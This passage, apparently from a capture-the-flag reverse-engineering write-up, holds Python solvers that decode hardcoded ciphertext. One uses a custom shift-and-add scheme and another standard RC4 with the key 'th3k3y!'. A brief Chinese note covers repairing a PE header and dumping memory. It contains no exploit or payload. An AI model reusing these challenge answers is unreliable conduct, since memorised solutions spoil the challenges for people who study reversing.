5b56,0x1657,0x159,0x5cf3,0x622d,0x98,0x787f,0x3f07,0x29a6,0x1453,0x6521,0x4ee9,0x10e4,0x512b,0x3124,0x547e,0x6f8c,0x6240,0x4f8,0x1906,0x622a,0x4904,0x171a,0x897,0x35d0,0x2a4a,0x14de,0x7ca,0x3700,0x71a0,0x86b,0x51b4,0x67cb,0x3edf,0x6007,0x7218,0x613b,0x5200,0x7a95,0x2fda,0x63ef,0x6931,0x5d5b,0x7bb7,0x5c05,0x4528,0x7709,0x3734,0x5c3d,0x47b8,0x13f7,0x67d4,0x545a,0x60a2,0x67af,0x2a8e,0x6cc,0x3cad,0x4fab,0x7b7e,0x18d,0x6af9,0x3360,0x25db,0x1e49,0x6c90,0x257b,0x7029,0x4dc1,0x623e,0x2a6a,0x58b0,0x3271,0x4ca3,0x481e,0x762c,0x4e70,0x1286,0x430f,0x50c6,0x4899,0x416c,0x2c81,0x4743,0xce8,0x3c69,0x2606,0x547c,0x4c26,0x4d37,0x7e45,0x490e,0x1ec9,0x4b85,0xaf9,0x4d52,0x4f16,0x4e91,0x643d,0x3f90,0xe88,0x1cf9,0x6506,0x426f,0x1a75,0x4ecf,0x14f1,0xfb0,0x13ef,0x55eb,0x5f3f,0x631c,0xee9,0x6085,0x3b1d,0x11bb,0x1c9a,0x4a03,0x2929,0x2147,0x5527,0xe0f,0x2a33,0x73e0,0x247c,0x71ed,0x1340,0x5c01,0x5e7a,0x580b,0x62d5,0x2cb3,0x5e58,0x71da,0x7b72,0x1a01,0x3543,0x43dd,0x675c,0x7dab,0x2c48,0x3000,0x99f,0x541f,0x1d74,0x7a2a,0x6054,0x5a4,0x683a,0x7b15,0x3c20,0x4fd9,0x514,0x755e,0x10fd,0x635e,0x7c6d,0x40d8,0x443d,0x9d1,0x44bf,0x4026,0x1bcc,0x67fc,0x4bf9,0x5489,0x32b5,0x304c,0x3023,0x43f6,0x16e7,0x5985,0x6b44,0x456c,0x743a,0x2db5,0x7684,0x2784,0x70ad,0x4567,0x288e,0x454a,0x1df1,0x4318,0x5338,0x3d4b,0x242c,0x62ef,0x6466,0x1eef,0x9f7,0x32a8,0xe2b,0x209,0x3da8,0x5d2,0x3a32,0x3cad,0x43d7,0x7a3a,0x4c5d,0x2b42,0x2f1b,0x20a7,0x78ab,0x3ed7,0x4515,0x1dc7,0x305f,0x45bb,0x74b0,0x576a,0x6a5f,0x2247,0x1a6,0x1ee,0x4ada,0x63ff,0x947,0x21fa,0x6e2d,0x76da,0x4476,0x5670,0x5b08,0x5cdd,0x2af4,0x7e9c,0x5fcc,0x25ee,0x5be1,0x10b2,0x5f38,0x19e8,0x6f7f,0x3477,0x5045,0x48eb,0x163a,0x763e,0x754e,0x75f6,0x28e5,0x2616,0xe74,0xfb7,0xe47,0x3742,0xb41,0x2ba1,0x19d6,0x33e9,0x7f8c,0x3740,0x47c2,0x190f,0x5f9c,0x53c9,0x7a35,0x2ec4,0x4790,0xff6,0x1bda,0x309b,0x51fd,0x7410,0x4b9c,0x5a5e,0x41da,0x144d,0x75b0,0x2d00,0x399,0x1d5d,0x7dd5,0x7fd3,0x4997,0xf40,0x5eda,0x31fb,0x47b6,0x1a5a,0x6361,0x1023,0x5248,0x52c9,0x5be4,0x426f,0x6430,0x2df6,0x75f5,0x56b1,0x5043,0x7e6a,0x18ca,0x3adf,0x21f5,0x61e4,0x6af8,0x3bc5,0x7131,0x55a8,0x657f,0x5bf7,0x2d88,0x6519,0x1807,0x170a,0x248e,0x268a,0x269,0x6503,0x4781,0x7a52,0x2771,0x1210,0x742c,0x401e,0x3ce3,0x3e76,0x450b,0x768c,0x1cbb,0x1acb,0x2cb0,0x78f5,0x5bb9,0x3465,0x6065]
s = [ 0x48, 0x4D, 0x3B, 0xA0, 0x27, 0x31, 0x28, 0x54, 0x6D, 0xF1,
0x21, 0x35, 0x18, 0x73, 0x6A, 0x4C, 0x71, 0x3B, 0xBD, 0x98,
0xB6, 0x5A, 0x77, 0x2D, 0x0B, 0x2B, 0xCB, 0x9B, 0xE4, 0x8A,
0x4C, 0xA9, 0x5C, 0x4F, 0x1B, 0xF1, 0x98, 0x3D, 0x30, 0x59,
0x3F, 0x14, 0xFC, 0x7A, 0xF4, 0x64, 0x02, 0x2B]
def get_byte_list(n):
out = []
for i in range(4):
out.append(n&0xff)
n >>= 8
return out
def get_big_num(n):
count = 0
for i in range(len(n)-1,-1,-1):
count += n[i]
count <<= 8
return count >> 8
def get_rand_num_re():
global rand_index_re
rand_index_re -= 1
return rand_num_list[rand_index_re]
def get_rand_num():
global rand_index
rand_index += 1
return rand_num_list[rand_index - 1]
def boom(n):
for i in range(0xfff):
if (i * 23 + 66) & 0xff == n:
return i
def encode(data):
n1 = get_byte_list(data[0])
n2 = get_byte_list(data[1])
n3 = get_byte_list(data[2])
print("===========encode===========")
for j in range(32):
for i in range(4):
n1[i] = (n1[i] * 23 + 66) & 0xff
n2[i] = (n2[i] * 23 + 66) & 0xff
n3[i] = (n3[i] * 23 + 66) & 0xff
print(hex(get_big_num(n1)))
print(hex(get_big_num(n2)))
print(hex(get_big_num(n3)))
n1 = get_big_num(n1)
n2 = get_big_num(n2)
n3 = get_big_num(n3)
n1 += ((n2 >> 7) + get_rand_num()) + (((n2 >> 15) ^ (n2 << 10) | 3) ^ get_rand_num())
n1 &= 0xffffffff
n2 += ((n3 >> 7) + get_rand_num()) + (((n3 >> 15) ^ (n3 << 10) | 3) ^ get_rand_num())
n2 &= 0xffffffff
n3 += ((n1 >> 7) + get_rand_num()) + (((n1 >> 15) ^ (n1 << 10) | 3) ^ get_rand_num())
n1 &= 0xffffffff
n2 &= 0xffffffff
n3 &= 0xffffffff
n1 = get_byte_list(n1)
n2 = get_byte_list(n2)
n3 = get_byte_list(n3)
# print(rand_index)
print()
def decode(data):
n1 = data[0]
n2 = data[1]
n3 = data[2]
for j in range(32):
s1 = (((n1 >> 15) ^ (n1 << 10) | 3) ^ get_rand_num_re())
n3 -= ((n1 >> 7) + get_rand_num_re()) + s1
n3 &= 0xffffffff
s2 = (((n3 >> 15) ^ (n3 << 10) | 3) ^ get_rand_num_re())
n2 -= ((n3 >> 7) + get_rand_num_re()) + s2
n2 &= 0xffffffff
s3 = (((n2 >> 15) ^ (n2 << 10) | 3) ^ get_rand_num_re())
n1 -= ((n2 >> 7) + get_rand_num_re()) + s3
n1 &= 0xffffffff
n1 = get_byte_list(n1)
n2 = get_byte_list(n2)
n3 = get_byte_list(n3)
for i in range(4):
# print(n1[i], n2[i], n3[i])
n1[i] = boom(n1[i])
n2[i] = boom(n2[i])
n3[i] = boom(n3[i])
n1 = get_big_num(n1)
n2 = get_big_num(n2)
n3 = get_big_num(n3)
print(long_to_bytes(n1)[::-1].decode(), end="")
print(long_to_bytes(n2)[::-1].decode(), end="")
print(long_to_bytes(n3)[::-1].decode(), end="")
if __name__ == '__main__':
s1 = [0x34333231,0x38373635,0x34333231,0x34333231,0x38373635,0x34333231,0x34333231,0x38373635,0x34333231,0x34333231,0x38373635,0x34333231]
for i in range(4):
temp = []
for j in range(3):
temp.append(get_big_num(s[i*12 + j*4 : i*12 + j*4 + 4]))
decode(temp)
rand_index_re += 192
# print()
# print(long_to_bytes(2989262803))
bad_Pe
修复PE头
进入r9之后dump下来
标准rc4:
def init_box(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc_4(plain,box):
res = []
i = j =0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append((s ^ k)&0xff)
return res
s_box = init_box("th3k3y!")
enc = [0xBD, 0xF0, 0x4C, 0xD9, 0xD0, 0x29, 0xF2, 0x46,
0x08, 0xCC, 0xC8, 0x9F, 0xBE, 0x4B, 0xEF, 0x67,
0x46, 0x04, 0xE6, 0x32, 0xF3, 0xF6, 0xAA, 0xF0,
0xD1, 0xD8, 0xEC, 0x75, 0x49, 0x2F, 0xCC, 0x26,
0x2E, 0x7E, 0x63]
res = rc_4(enc,s_box)
print(bytes(res))